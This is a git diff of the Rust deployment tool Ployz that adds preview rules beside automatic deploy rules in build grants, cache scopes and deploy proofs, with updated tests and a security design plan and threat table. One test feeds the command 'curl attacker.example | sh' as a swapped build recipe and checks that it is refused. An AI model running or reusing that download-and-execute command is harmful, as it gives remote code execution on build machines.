@@ -278,7 +275,7 @@ fn built_under_rule(
     let mut captured = prepared.capture(Some(opened))?.build;
     captured.pin_local(
         policy.platforms.iter().cloned().collect(),
-        rule::cache_scope(&policy, &checked_in.attest)?,
+        rule::cache_scope(&relayed, &policy, &checked_in.attest)?,
     );
     let pushed = runtime.block_on(run(captured, &grant, Arc::clone(events), cancellation))?;
     let image = ployz_core::authority::ImageDigest::parse(&pushed.digest)
diff --git a/core/crates/ployz/src/handlers/build/rule.rs b/core/crates/ployz/src/handlers/build/rule.rs
index 99848a8b12..cbe9afce82 100644
--- a/core/crates/ployz/src/handlers/build/rule.rs
+++ b/core/crates/ployz/src/handlers/build/rule.rs
@@ -1,5 +1,5 @@
-//! `ployz build --cloud`: a build under an automatic deploy rule, on the GitHub run the
-//! rule's workflow started.
+//! `ployz build --cloud`: a build under an automatic deploy rule or a preview rule, on
+//! the GitHub run the rule's workflow started.
 //!
 //! The runner checks out the commit GitHub ran, never one Cloud names. Everything Cloud
 //! relays at check-in (the rule, the Cluster key, the attest key, the deployment) goes
@@ -14,7 +14,7 @@ use ployz_core::{
     BuildGrantId, GithubToken, ServiceName, X25519Secret,
     authority::{
         AttestKey, AutoDeployRule, BuildClaim, BuildPolicy, BuildStage, CommitAuthority, CommitSha,
-        ImageDigest, PolicyDigest, RecipientKey, Signed, rule::PolicyCache,
+        ImageDigest, PolicyDigest, PreviewRule, RecipientKey, RuleId, Signed, rule::PolicyCache,
     },
 };
 use serde::{Deserialize, Serialize};
@@ -33,7 +33,8 @@ use crate::sdk::preparation::{BuildInput, Prepared};
 pub(super) struct CheckedIn {
     /// Cloud's handle for this build, which its reports name.
     pub(super) build: String,
-    pub(super) rule: Signed<AutoDeployRule>,
+    #[serde(flatten)]
+    pub(super) rule: Relayed,
     pub(super) cluster: ployz_core::SealingPublicKey,
     pub(super) attest: AttestKey,
     pub(super) service: ServiceName,
@@ -41,6 +42,59 @@ pub(super) struct CheckedIn {
     pub(super) deployment: Value,
 }
 
+/// The rule Cloud relays: `rule` for a push to the approved branch, `preview` for a
+/// push to a preview's branch.
+#[derive(Debug, Deserialize)]
+#[serde(rename_all = "camelCase")]
+pub(super) enum Relayed {
+    Rule(Signed<AutoDeployRule>),
+    Preview(Signed<PreviewRule>),
+}
+
+/// What a build takes from the relayed rule, once its signature checks.
+pub(super) struct Opened {
+    pub(super) rule: RuleId,
+    pub(super) generation: u64,
+    /// The policy it approves for the built Service; `None` when it names no such Service.
+    policy: Option<BuildPolicy>,
+    /// Whether it is a preview rule, whose builds keep their own cache.
+    preview: bool,
+}
+
+impl Relayed {
+    /// Check the rule's signature and take what the build needs for `service`.
+    ///
+    /// # Errors
+    /// Refuses a rule whose signature does not check.
+    pub(super) fn open(&self, service: &ServiceName) -> Result<Opened, Error> {
+        let unreadable = || BuildCommandError::Rule("Cloud relayed no readable rule");
+        Ok(match self {
+            Self::Rule(signed) => {
+                let rule = signed.open().map_err(|_| unreadable())?;
+                Opened {
+                    rule: rule.rule,
+                    generation: rule.generation,
+                    policy: rule
+                        .service(service)
+                        .map(|approved| approved.policy.clone()),
+                    preview: false,
+                }
+            }
+            Self::Preview(signed) => {
+                let rule = signed.open().map_err(|_| unreadable())?;
+                Opened {
+                    rule: rule.rule,
+                    generation: rule.generation,
+                    policy: rule
+                        .service(service)
+                        .map(|approved| approved.policy.clone()),
+                    preview: true,
+                }
+            }
+        })
+    }
+}
+
 /// What the runner asks Cloud to relay to the grant Machine. Its own word, which the
 /// grant token's audience binds.
 #[derive(Serialize)]
@@ -69,16 +123,13 @@ pub(super) struct Granted {
 /// checkout, and one whose build inputs differ from the policy in any field, before any
 /// token is asked for.
 pub(super) fn policy<'rule>(
-    rule: &'rule AutoDeployRule,
+    rule: &'rule Opened,
     service: &ServiceName,
     prepared: &Prepared,
 ) -> Result<&'rule BuildPolicy, Error> {
-    let policy = &rule
-        .service(service)
-        .ok_or(BuildCommandError::Rule(
-            "the rule does not build this Service",
-        ))?
-        .policy;
+    let policy = rule.policy.as_ref().ok_or(BuildCommandError::Rule(
+        "the rule does not build this Service",
+    ))?;
     let input = prepared.input_of(service).ok_or(BuildCommandError::Rule(
         "the deployment does not build the Service from Git",
     ))?;
@@ -109,7 +160,7 @@ fn derived(input: &BuildInput<'_>, rule: &BuildPolicy) -> BuildPolicy {
 /// Only when the policy cannot be hashed.
 pub(super) fn grant_claim(
     checked_in: &CheckedIn,
-    rule: &AutoDeployRule,
+    rule: &Opened,
     policy: &BuildPolicy,
     commit: CommitSha,
     holder: BuildGrantId,
@@ -137,7 +188,8 @@ pub(super) fn built_claim(grant: &BuildClaim, image: ImageDigest, attest: Attest
 }
 
 /// The Actions cache scope of a rule build: a digest of its policy and of `attest`, the
-/// attest key its secrets opened with. `None` keeps the cache off.
+/// attest key its secrets opened with, and for a preview the rule's ID too, so no
+/// preview build writes layers a production build reads. `None` keeps the cache off.
 ///
 /// BuildKit leaves secret values out of its cache keys, so a scope shared with a build
 /// that opened values from another key would let that build's layers into honest
@@ -147,6 +199,7 @@ pub(super) fn built_claim(grant: &BuildClaim, image: ImageDigest, attest: Attest
 /// admitted, built with the Cluster's own values, and a build fed another key writes a
 /// scope no honest build reads.
 pub(super) fn cache_scope(
+    rule: &Opened,
     policy: &BuildPolicy,
     attest: &AttestKey,
 ) -> Result<Option<String>, Error> {
@@ -154,11 +207,15 @@ pub(super) fn cache_scope(
         PolicyCache::Off => Ok(None),
         PolicyCache::Actions => {
             let policy = PolicyDigest::of(policy).map_err(Error::command)?;
-            let scope = Sha256::new()
+            let mut scope = Sha256::new()
                 .chain_update(b"ployz build cache v1\0")
                 .chain_update(policy.to_string().as_bytes())
-                .chain_update(attest.as_bytes())
-                .finalize();
+                .chain_update(attest.as_bytes());
+            if rule.preview {
+                scope.update(b"\0preview\0");
+                scope.update(rule.rule.to_string().as_bytes());
+            }
+            let scope = scope.finalize();
             Ok(Some(hex::encode(scope)))
         }
     }
diff --git a/core/crates/ployz/src/handlers/build/rule_tests.rs b/core/crates/ployz/src/handlers/build/rule_tests.rs
index 662a97201d..990e37111f 100644
--- a/core/crates/ployz/src/handlers/build/rule_tests.rs
+++ b/core/crates/ployz/src/handlers/build/rule_tests.rs
@@ -58,10 +58,17 @@ fn rule(policy: BuildPolicy) -> AutoDeployRule {
     }
 }
 
+/// `rule` as a build opens it once Cloud relays it.
+fn opened(rule: &AutoDeployRule) -> Opened {
+    Relayed::Rule(Signed::sign(rule, &Signer::from_seed(&[7; 32])).unwrap())
+        .open(&web())
+        .unwrap()
+}
+
 fn checked_in(rule: &AutoDeployRule, deployment: Value) -> CheckedIn {
     CheckedIn {
         build: "deployment.web".to_owned(),
-        rule: Signed::sign(rule, &Signer::from_seed(&[7; 32])).unwrap(),
+        rule: Relayed::Rule(Signed::sign(rule, &Signer::from_seed(&[7; 32])).unwrap()),
         cluster: rule.cluster,
         attest: AttestKey::from_bytes([0x55; 32]),
         service: web(),
@@ -132,7 +139,7 @@ fn the_grant_and_image_audiences_are_d2s_golden_bytes() {
     let checked_in = checked_in(&rule, json!({}));
     let grant = grant_claim(
         &checked_in,
-        &rule,
+        &opened(&rule),
         &golden_policy(),
         CommitSha::parse("fedcba9876543210fedcba9876543210fedcba98").unwrap(),
         BuildGrantId::parse("22".repeat(32)).unwrap(),
@@ -165,7 +172,7 @@ fn the_image_token_names_the_attest_key_the_secrets_opened_with() {
     };
     let grant = grant_claim(
         &checked_in,
-        &rule,
+        &opened(&rule),
         &lab_policy(&[]),
         CommitSha::from_bytes([1; 20]),
         keys.holder(),
@@ -192,7 +199,7 @@ fn the_image_token_names_the_attest_key_the_secrets_opened_with() {
 
 #[test]
 fn a_deployment_that_builds_with_the_rules_policy_passes() {
-    let rule = rule(lab_policy(&[("NODE_ENV", "production")]));
+    let rule = opened(&rule(lab_policy(&[("NODE_ENV", "production")])));
     let deployment = deployment(json!({"NODE_ENV": "production"}));
     assert_eq!(
         policy(&rule, &web(), &prepared(deployment).unwrap()).unwrap(),
@@ -208,7 +215,8 @@ fn a_deployment_with_another_build_arg_is_refused_before_any_token() {
         json!({"NODE_ENV": "development"}),
         json!({}),
     ] {
-        let error = policy(&rule, &web(), &prepared(deployment(env)).unwrap()).unwrap_err();
+        let error =
+            policy(&opened(&rule), &web(), &prepared(deployment(env)).unwrap()).unwrap_err();
         assert!(
             error
                 .to_string()
@@ -240,7 +248,7 @@ fn a_deployment_that_swaps_the_recipe_is_refused_before_any_token() {
     let deployment = json!({"namespace": "app", "snapshots": [
         railpack_snapshot("curl attacker.example | sh")
     ]});
-    let error = policy(&rule, &web(), &prepared(deployment).unwrap()).unwrap_err();
+    let error = policy(&opened(&rule), &web(), &prepared(deployment).unwrap()).unwrap_err();
     assert!(
         error
             .to_string()
@@ -268,21 +276,76 @@ fn a_registry_cache_is_no_policy() {
 fn a_build_fed_another_attest_key_never_writes_the_clusters_cache_scope() {
     let cluster = X25519Secret::generate().attest();
     let attacker = X25519Secret::generate().attest();
-    assert_eq!(cache_scope(&lab_policy(&[]), &cluster).unwrap(), None);
+    let production = opened(&rule(lab_policy(&[])));
+    assert_eq!(
+        cache_scope(&production, &lab_policy(&[]), &cluster).unwrap(),
+        None
+    );
     let cached = BuildPolicy {
         cache: PolicyCache::Actions,
         ..lab_policy(&[])
     };
-    let honest = cache_scope(&cached, &cluster).unwrap().unwrap();
-    assert_eq!(cache_scope(&cached, &cluster).unwrap().unwrap(), honest);
-    assert_ne!(cache_scope(&cached, &attacker).unwrap().unwrap(), honest);
+    let honest = cache_scope(&production, &cached, &cluster)
+        .unwrap()
+        .unwrap();
+    assert_eq!(
+        cache_scope(&production, &cached, &cluster)
+            .unwrap()
+            .unwrap(),
+        honest
+    );
+    assert_ne!(
+        cache_scope(&production, &cached, &attacker)
+            .unwrap()
+            .unwrap(),
+        honest
+    );
     // Nor the scope of the policy alone, which any key could name.
     assert_ne!(PolicyDigest::of(&cached).unwrap().to_string(), honest);
     let other = BuildPolicy {
         context: "/web".to_owned(),
         ..cached
     };
-    assert_ne!(cache_scope(&other, &cluster).unwrap().unwrap(), honest);
+    assert_ne!(
+        cache_scope(&production, &other, &cluster).unwrap().unwrap(),
+        honest
+    );
+}
+
+#[test]
+fn a_preview_build_keeps_a_cache_scope_of_its_own() {
+    let attest = X25519Secret::generate().attest();
+    let cached = BuildPolicy {
+        cache: PolicyCache::Actions,
+        ..lab_policy(&[])
+    };
+    let production = opened(&rule(cached.clone()));
+    let preview = Opened {
+        preview: true,
+        ..opened(&rule(cached.clone()))
+    };
+    assert_ne!(
+        cache_scope(&preview, &cached, &attest).unwrap(),
+        cache_scope(&production, &cached, &attest).unwrap()
+    );
+}
+
+#[test]
+fn a_check_in_relays_either_rule_by_its_key() {
+    let signed = Signed::sign(&rule(lab_policy(&[])), &Signer::from_seed(&[7; 32])).unwrap();
+    let relayed = |key: &str| {
+        serde_json::from_value::<CheckedIn>(json!({
+            "build": "deployment.web", key: signed, "cluster": SealingPublicKey::from_bytes([9; 32]),
+            "attest": AttestKey::from_bytes([0x55; 32]), "service": "web", "deployment": {},
+        }))
+    };
+    let rule = relayed("rule").unwrap().rule;
+    assert!(matches!(rule, Relayed::Rule(_)));
+    assert!(rule.open(&web()).is_ok());
+    // An automatic deploy rule relayed as a preview rule does not open as one.
+    let preview = relayed("preview").unwrap().rule;
+    assert!(matches!(preview, Relayed::Preview(_)));
+    assert!(preview.open(&web()).is_err());
 }
 
 #[test]
diff --git a/core/crates/ployz/src/sdk/deploy.rs b/core/crates/ployz/src/sdk/deploy.rs
index dcb0004957..bbfb48228d 100644
--- a/core/crates/ployz/src/sdk/deploy.rs
+++ b/core/crates/ployz/src/sdk/deploy.rs
@@ -103,13 +103,14 @@ impl PreparedDeploy {
             deployment_id,
             cleanup,
             None,
-            std::collections::BTreeMap::new(),
+            crate::cluster::RuleProofs::default(),
         )
     }
 
     /// As [`Self::confirm_with_log_id`], handing every Server the deploy approval a
     /// Device signed for this Deploy, or each Service's proof under an automatic deploy
-    /// rule. A Server that enforces Device approval creates nothing without one.
+    /// rule or a preview rule. A Server that enforces Device approval creates nothing
+    /// without one.
     /// # Errors
     /// Returns the same admission and session errors as confirm.
     pub fn confirm_approved(
@@ -117,10 +118,7 @@ impl PreparedDeploy {
         deployment_id: Option<ployz_core::DeploymentLogId>,
         cleanup: ImageCleanup,
         approval: Option<ployz_core::authority::Signed<ployz_core::authority::DeployApproval>>,
-        rules: std::collections::BTreeMap<
-            ployz_core::ServiceName,
-            ployz_core::authority::RuleProof,
-        >,
+        rules: crate::cluster::RuleProofs,
     ) -> Result<RunningDeploy, RpcError> {
         let session = Session {
             inner: self.session.upgrade().ok_or_else(closed)?,
diff --git a/core/crates/ployz/src/sdk/github_build.rs b/core/crates/ployz/src/sdk/github_build.rs
index 30347dad42..d009287968 100644
--- a/core/crates/ployz/src/sdk/github_build.rs
+++ b/core/crates/ployz/src/sdk/github_build.rs
@@ -18,7 +18,7 @@ use ployz_core::{
 };
 use ployz_store::{
     BuildStatus, ConfigStore, GithubBuildId, GithubClaims, GithubEnd, GithubGrant, GithubHandOff,
-    GithubReport, RunEnd,
+    GithubReport, GithubRule, RunEnd,
 };
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
@@ -77,11 +77,11 @@ pub async fn github_start(
         move |store| store.github_input(&id)
     })
     .await?;
-    if let Some(rule) = rule.as_ref().and_then(|rule| rule.open().ok()) {
+    if let Some(source) = rule.as_ref().and_then(GithubRule::source) {
         return Ok(Dialed {
             outcome: GithubStart::Follow {
-                workflow: rule.source.workflow,
-                workflow_ref: rule.source.builder.r#ref,
+                workflow: source.workflow,
+                workflow_ref: source.builder.r#ref,
                 commit: built.commit.to_string(),
             },
             foreign: Vec::new(),
@@ -322,7 +322,8 @@ pub async fn github_check_in(
 pub struct RuleCheckIn {
     /// The build's id, which its grant and reports name.
     pub build: GithubBuildId,
-    pub rule: ployz_core::authority::Signed<ployz_core::authority::AutoDeployRule>,
+    #[serde(flatten)]
+    pub rule: Relayed,
     pub cluster: ployz_core::SealingPublicKey,
     pub attest: ployz_core::authority::AttestKey,
     pub service: ServiceName,
@@ -330,6 +331,24 @@ pub struct RuleCheckIn {
     pub deployment: Value,
 }
 
+/// The rule a build runs under, as the runner reads it: `rule` for an automatic deploy
+/// rule, `preview` for a preview rule.
+#[derive(Clone, Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub enum Relayed {
+    Rule(ployz_core::authority::Signed<ployz_core::authority::AutoDeployRule>),
+    Preview(ployz_core::authority::Signed<ployz_core::authority::PreviewRule>),
+}
+
+impl From<GithubRule> for Relayed {
+    fn from(rule: GithubRule) -> Self {
+        match rule {
+            GithubRule::Auto(rule) => Self::Rule(rule),
+            GithubRule::Preview(rule) => Self::Preview(rule),
+        }
+    }
+}
+
 /// A rule build's runner checks in, on the run of the push it builds, with the OIDC
 /// `claims` Cloud verified and the `commit` it checked out. Returns the rule and the
 /// Cluster's keys as the entry Machine reports them. Changes nothing: the grant does.
@@ -362,7 +381,7 @@ pub async fn github_rule_check_in(
         outcome: RuleCheckIn {
             deployment: only(&built.input, &id.service),
             build: id.clone(),
-            rule,
+            rule: rule.into(),
             cluster: public_key,
             attest,
             service: id.service,
@@ -423,24 +442,25 @@ pub async fn github_rule_grant(
     let foreign = session.foreign();
     let minted = async {
         let details = session.inspect().await?;
-        let advertises = details.machine.is_some_and(|machine| {
-            machine
-                .runtime
-                .capabilities
-                .contains(ployz_core::BUILD_GRANT_RULE_CAPABILITY)
-        });
-        if !advertises {
-            return Err(ployz_core::RpcError::conflict(
+        let (capability, newer) = match rule {
+            GithubRule::Auto(_) => (
+                ployz_core::BUILD_GRANT_RULE_CAPABILITY,
                 "GitHub builds under an automatic deploy rule need a newer Ployz on your servers",
-            ));
+            ),
+            GithubRule::Preview(_) => (
+                ployz_core::BUILD_GRANT_PREVIEW_CAPABILITY,
+                "Previews under a preview rule need a newer Ployz on your servers",
+            ),
+        };
+        let advertises = details
+            .machine
+            .is_some_and(|machine| machine.runtime.capabilities.contains(capability));
+        if !advertises {
+            return Err(ployz_core::RpcError::conflict(newer));
         }
-        let minted = session
-            .mint_build_grant(MintBuildGrantRequest {
-                preview: None,
-                repository: repository(&id)?,
-                holder: Some(ask.holder),
-                sealed,
-                rule: Some(ployz_core::RuleGrant {
+        let (rule, preview) = match rule {
+            GithubRule::Auto(rule) => (
+                Some(ployz_core::RuleGrant {
                     rule,
                     proof: ask.proof,
                     service: ask.service,
@@ -449,6 +469,29 @@ pub async fn github_rule_grant(
                     recipient: ask.recipient,
                     reader,
                 }),
+                None,
+            ),
+            GithubRule::Preview(rule) => (
+                None,
+                Some(ployz_core::PreviewGrant {
+                    rule,
+                    review: None,
+                    proof: ask.proof,
+                    service: ask.service,
+                    commit: ask.commit,
+                    authority: ask.authority,
+                    recipient: ask.recipient,
+                    reader,
+                }),
+            ),
+        };
+        let minted = session
+            .mint_build_grant(MintBuildGrantRequest {
+                repository: repository(&id)?,
+                holder: Some(ask.holder),
+                sealed,
+                rule,
+                preview,
             })
             .await?;
         Ok::<_, RpcError>((details.id, minted))
@@ -486,14 +529,7 @@ async fn rule_build(
     store: &Arc<ConfigStore>,
     claims: &GithubClaims,
     commit: &str,
-) -> Result<
-    (
-        GithubBuildId,
-        ployz_core::authority::Signed<ployz_core::authority::AutoDeployRule>,
-        ployz_store::GithubInput,
-    ),
-    RpcError,
-> {
+) -> Result<(GithubBuildId, GithubRule, ployz_store::GithubInput), RpcError> {
     let run_id = claims_run(claims)?;
     let claims = claims.clone();
     let commit = commit.to_owned();
diff --git a/core/crates/ployz/src/sdk/store_runner.rs b/core/crates/ployz/src/sdk/store_runner.rs
index 28da0f7e7c..74cd10a6b4 100644
--- a/core/crates/ployz/src/sdk/store_runner.rs
+++ b/core/crates/ployz/src/sdk/store_runner.rs
@@ -800,7 +800,7 @@ impl Run {
         pin_approved(&mut claimed.intent.target, approval.as_ref());
         let scrub = Scrub::new(&claimed);
         let earlier = earlier(&targets);
-        let mut rules = BTreeMap::new();
+        let mut rules = crate::cluster::RuleProofs::default();
         let prepared = if targets.is_empty() && built.is_empty() {
             self.renewing(session.plan(claimed.intent), || {
                 session.inner.cancel.cancel()
@@ -1649,27 +1649,38 @@ fn targets(
     Ok((targets, built))
 }
 
-/// The proof each Service built under `claimed`'s automatic deploy rule creates with:
-/// the rule, its image token, and the claim the token's audience names, rebuilt from
-/// the rule, the pinned commit, the image the Machine received and the Cluster's keys.
-/// A Service without all of them gets none, and an enforcing Server refuses it.
+/// The proof each Service built under `claimed`'s automatic deploy rule or preview rule
+/// creates with: the rule, its image token, and the claim the token's audience names,
+/// rebuilt from the rule, the pinned commit, the image the Machine received and the
+/// Cluster's keys. A Service without all of them gets none, and an enforcing Server
+/// refuses it.
 async fn rule_proofs(
     session: &Session,
     claimed: &Claimed,
     receipts: &BTreeMap<ServiceName, BuildReceipt>,
     reader: Option<&ployz_core::GithubToken>,
-) -> BTreeMap<ServiceName, ployz_core::authority::RuleProof> {
+) -> crate::cluster::RuleProofs {
     use ployz_core::authority::{
-        BuildClaim, BuildStage, CommitAuthority, CommitSha, ImageDigest, PolicyDigest, RuleProof,
+        BuildClaim, BuildStage, CommitAuthority, CommitSha, ImageDigest, PolicyDigest,
+        PreviewProof, RuleProof,
     };
-    let mut proofs = BTreeMap::new();
-    let Some(signed) = &claimed.rule else {
-        return proofs;
-    };
-    let Ok(rule) = signed.open() else {
-        return proofs;
+    let mut proofs = crate::cluster::RuleProofs::default();
+    // Each rule's ID, generation and the policy it approves for a Service.
+    let rule = claimed.rule.as_ref().and_then(|signed| signed.open().ok());
+    let preview = claimed
+        .preview
+        .as_ref()
+        .and_then(|signed| signed.open().ok());
+    let approved = |service: &ServiceName| match (&rule, &preview) {
+        (Some(rule), _) => rule
+            .service(service)
+            .map(|approved| (rule.rule, rule.generation, &approved.policy)),
+        (None, Some(preview)) => preview
+            .service(service)
+            .map(|approved| (preview.rule, preview.generation, &approved.policy)),
+        (None, None) => None,
     };
-    if claimed.image_tokens.is_empty() {
+    if (rule.is_none() && preview.is_none()) || claimed.image_tokens.is_empty() {
         return proofs;
     }
     let contract = match session.about().await {
@@ -1685,7 +1696,7 @@ async fn rule_proofs(
         return proofs;
     };
     for (service, token) in &claimed.image_tokens {
-        let approved = rule.service(service);
+        let approved = approved(service);
         let receipt = receipts.get(service);
         let commit = claimed
             .sources
@@ -1696,31 +1707,50 @@ async fn rule_proofs(
         let (Some(approved), Some(receipt), Some(commit)) = (approved, receipt, commit) else {
             continue;
         };
+        let (id, generation, approved) = approved;
         let (Ok(image), Ok(policy)) = (
             ImageDigest::parse(&receipt.image.reference),
-            PolicyDigest::of(&approved.policy),
+            PolicyDigest::of(approved),
         ) else {
             continue;
         };
         let claim = BuildClaim {
             cluster: public_key,
-            rule: rule.rule,
-            generation: rule.generation,
+            rule: id,
+            generation,
             service: service.clone(),
             policy,
             commit,
             authority: CommitAuthority::Head,
             stage: BuildStage::Built { image, attest },
         };
-        proofs.insert(
-            service.clone(),
-            RuleProof {
-                rule: signed.clone(),
-                token: ployz_core::GithubToken::new(token.clone()),
-                claim,
-                reader: reader.cloned(),
-            },
-        );
+        let token = ployz_core::GithubToken::new(token.clone());
+        match (&claimed.rule, &claimed.preview) {
+            (Some(signed), _) => {
+                proofs.rules.insert(
+                    service.clone(),
+                    RuleProof {
+                        rule: signed.clone(),
+                        token,
+                        claim,
+                        reader: reader.cloned(),
+                    },
+                );
+            }
+            (None, Some(signed)) => {
+                proofs.previews.insert(
+                    service.clone(),
+                    PreviewProof {
+                        rule: signed.clone(),
+                        review: None,
+                        token,
+                        claim,
+                        reader: reader.cloned(),
+                    },
+                );
+            }
+            (None, None) => {}
+        }
     }
     proofs
 }
diff --git a/docs/agents/plans/security-0.4/d-build-proof.md b/docs/agents/plans/security-0.4/d-build-proof.md
index f111b129c2..321239e481 100644
--- a/docs/agents/plans/security-0.4/d-build-proof.md
+++ b/docs/agents/plans/security-0.4/d-build-proof.md
@@ -311,18 +311,18 @@ A preview's spec differs from its parent's in fields Cloud used to choose: the N
 
 - **Preview key.** For a trusted push, `branch:<name>`, from the verified `ref` claim. For a review, the key the signed review names, `branch:<name>` or `fork:<pull request number>`.
 - **Namespace.** `pv-<first 16 hex of rule>-<first 12 hex of SHA-256(preview key)>`. The rule ID is 128 random bits from the approver's client, so Cloud cannot choose it to collide with another rule's. That pattern is reserved. A Machine refuses any creation in a Namespace of that form unless it is admitted under the preview rule it derives from. It also refuses a preview-rule creation in any other Namespace. Thread C's deploy approval and the automatic deploy rule refuse reserved Namespaces, and Cloud's Namespace allocator never hands one to an ordinary Environment. So preview code can only land in a Namespace that holds nothing but that preview's own Containers and Volumes. A preview's Ordinary and Provisioned Volumes get their physical names from the Namespace (`ScopedVolumeSource::physical_name`, `ployz-core/src/domain/volume.rs:104`). So preview code cannot mount a production Volume of those kinds.
-- **Hostnames.** Each Ingress hostname in a preview spec must be `<label>.<Namespace>.<domain>`. The template holds the label, the rule signs `domain`, and the Namespace is derived. Because the derived Namespace label is reserved, no preview hostname can equal a production hostname.
+- **Hostnames.** Each generated hostname in a preview spec is `<label>-<Namespace>.<domain>`, one DNS label under the Cluster Domain, so the Cluster Domain's single-label wildcard record and certificate cover it as they cover every generated domain. The template holds the label, the rule signs `domain`, and the Namespace is derived and put back as a placeholder. Any other hostname stays literal and fails the template. A production hostname of that form needs a person's deploy approval that names it, because the derived Namespace is reserved and holds 128 bits of the rule ID and the preview key. *Changed while building D7 (2026-11-10).* Decision 11 named `<label>.<Namespace>.<domain>`, two labels under the Cluster Domain. Its wildcard DNS and certificate cover one label only, and generated prefixes must stay unique in the Organization, so D7 joins the label and the Namespace with `-`.
 - **Sealed identity.** A trusted preview may carry only inherited Sealed values (below), so the Container's own `sealed_identity` opens nothing. The template holds it as a placeholder. For a review, the signed review names the preview's Environment ID, and the identity must equal it.
 
 - **Generated Values.** A Generated Value is a fresh random string per Environment, so no signed template can hold it. The preview rule names each Service's generated keys with their generator, `secret(LEN, "CHARSET")`. Before hashing, the Machine checks that each such value has exactly that length and only characters of that charset, then puts the generator text in its place. Cloud can only choose a random-looking string for a key the person signed. It cannot put a URL or a command there.
 
 `PreviewTemplate::of(spec, derived)` replaces the image with the empty string, and replaces every occurrence of the derived Namespace, derived hostnames, the checked identity and the checked Generated Values with fixed placeholders. Then it takes `PayloadDigest`. The Machine substitutes only strings it derived or checked itself. A Cloud-chosen production Namespace or hostname anywhere in the spec stays literal and fails the template. The CLI computes the template from the parent's Saved revision through the preview lowering with the same placeholders. So what the preview lowering always changes from the parent, one replica per Service and Live Node references to the parent's Namespace, is part of the template, and the Machine checks it like any other setting.
 
-**Setup Commands.** A preview's Own Copy runs its Setup Commands in its pre-deploy hook until it first deploys successfully. So the same preview's spec carries them on its first deploy and not after. Each `PreviewService` signs two template digests, one with the Setup Commands and one without. A Machine accepts the digest with them only for a preview's first creation of that Service: no Service Container of that Service exists in the derived Namespace on this Machine. Otherwise it requires the digest without them.
+**Setup Commands.** A preview's Own Copy runs its Setup Commands in its pre-deploy hook until it first deploys successfully. So the same preview's spec carries them on its first deploy and not after. Each `PreviewService` signs two template digests, one with the Setup Commands and one without. A Machine accepts the digest with them only for a preview's first creation of that Service: no Service Container of that Service exists in the derived Namespace on this Machine. Otherwise it requires the digest without them. Only the Hook Container runs Setup Commands, so the Machine looks for a Service Container only when a hook creation matches the digest with them, and every other creation needs no Docker read. A compromised Cloud that removes a preview's Containers can make its setup run again. That setup is code the person approved, so this is a residual.
 
 **Volume names are not placeholders.** A preview keeps its parent's logical Volume names. The Namespace separates their physical names, because `physical_name` is `namespace.volume_name(logical)` (`ployz-core/src/domain/volume.rs:104`). The lowering names an Own Copy Volume after its lineage only in a derived preview Namespace. Renaming it in every Branch would leave a Kept Branch such as staging on a new, empty Volume at its next deploy, while a derived Namespace is always new. A Bind Mount or an External Volume in the parent stays literal in the template, so a preview using one shares it with production. The CLI prints such mounts as "shared with production" and refuses to sign a preview rule that has one unless `--share-mounts` is given.
 
-**Bookkeeping labels.** The `cloud.ployz.service.id` label is lowered from the Service's lineage ID, which a Branch shares with its Parent, so the label is the same in every preview of a rule and needs no placeholder. Cloud reads it only as bookkeeping. A wrong label is a mislabel.
+**Bookkeeping labels.** `PreviewTemplate::of` blanks the `cloud.ployz.service.id` label, as it blanks the image. The lowering keeps the Service's own ID there, which differs per preview, and Cloud reads it only as bookkeeping. A wrong label is a mislabel. *Changed while building D7 (2026-11-10).* Gap 10 offered lowering it from the lineage ID or blanking it in the template. Blanking leaves the label every running Container carries unchanged.
 
 D7's prototype lowered a parent and its PR Environment for one commit (2026-11-10). They differed outside the derived fields in four ways: Own Copy Volume names (a new Volume ID per PR), the Service ID label (a new ID per PR), Generated Values (a new value per Environment) and the Setup Commands. The fixed differences were one replica and Live Node references to the parent's Namespace. The program's root took decisions 1 to 5 of `d-plan.md` gap 10 on 2026-11-10 under the operator's autopilot grant, and the four bullets above are those decisions. D7's test now checks that two previews of one rule differ only in derived fields.
 
@@ -369,7 +369,7 @@ Cloud dispatches the parent's workflow on `source.branch` with `commit = X`. A f
 | Cloud labels a fork PR as trusted | `repository_id` is the fork's, or the run is not a push to a branch of the base repository. |
 | Cloud sends a valid trusted-preview proof with the production Namespace, so preview code mounts production Volumes | The Namespace is not the one derived from the rule and the verified branch. A preview-rule creation outside its derived Namespace is refused. |
 | Cloud gives a production Environment a Namespace in the reserved preview form, then deploys a preview into it | Thread C's approval and the automatic deploy rule refuse reserved Namespaces, so no new production Container or Volume lands there. Before it admits a preview, the Machine also refuses one whose Namespace already holds a Container or Volume the preview rule did not create, which covers anything made before enforcement. |
-| Cloud routes a production hostname to preview code | Every preview hostname must be `<label>.<derived Namespace>.<domain>`. Any other stays literal and fails the template. |
+| Cloud routes a production hostname to preview code | Every preview hostname must be `<label>-<derived Namespace>.<domain>`. Any other stays literal and fails the template. |
 | Cloud deploys a preview that inherits a production value the rule does not list | The key is not in `inherit`. |
 | Cloud deploys a preview with a value relabelled as another key | The associated data binds the key name, so it does not open. |
 | Cloud dispatches a reviewed build at a commit other than the one the person reviewed | `aud.commit` differs from the review's commit. The grant is refused before any secret opens. |
diff --git a/docs/agents/plans/security-0.4/d-plan.md b/docs/agents/plans/security-0.4/d-plan.md
index f514f7f881..1d4ad4fe32 100644
--- a/docs/agents/plans/security-0.4/d-plan.md
+++ b/docs/agents/plans/security-0.4/d-plan.md
@@ -295,16 +295,17 @@ Outcome. Pushes by trusted GitHub accounts to branches of the repository deploy
 
 **Files.**
 
-- [ ] Edit `core/crates/ployz-core/src/sealed.rs` so `SealedValue` gains `environment: Option<Uuid>`, which replaces the identity's Environment in the associated data.
-- [ ] Edit `core/crates/ployzd/src/sealed_env.rs` to check the override on every Sealed part, template parts and build records included. It opens a value carrying one only when admission handed it the preview rule's `inherit` list for that Environment.
-- [ ] Edit `core/crates/ployz-core/src/authority/rule.rs` to add `PreviewRule`, `PreviewReview`, `Authority::Review`, `preview_namespace(rule, key)`, `preview_hostname(label, namespace, domain)` and `PreviewTemplate::of(spec, derived)`. Placeholders replace only strings the Machine derived.
-- [ ] Edit `core/crates/ployzd/src/management/build_grant.rs` so grant admission accepts a trusted push (`Head` on a non-parent branch, `actor_id` in `trusted`) and `Review(d)`. A review needs its signature, rule, generation and commit, a `workflow_dispatch` run on the parent's branch, and the signer rule of decision 6. All of that is checked before the record opens.
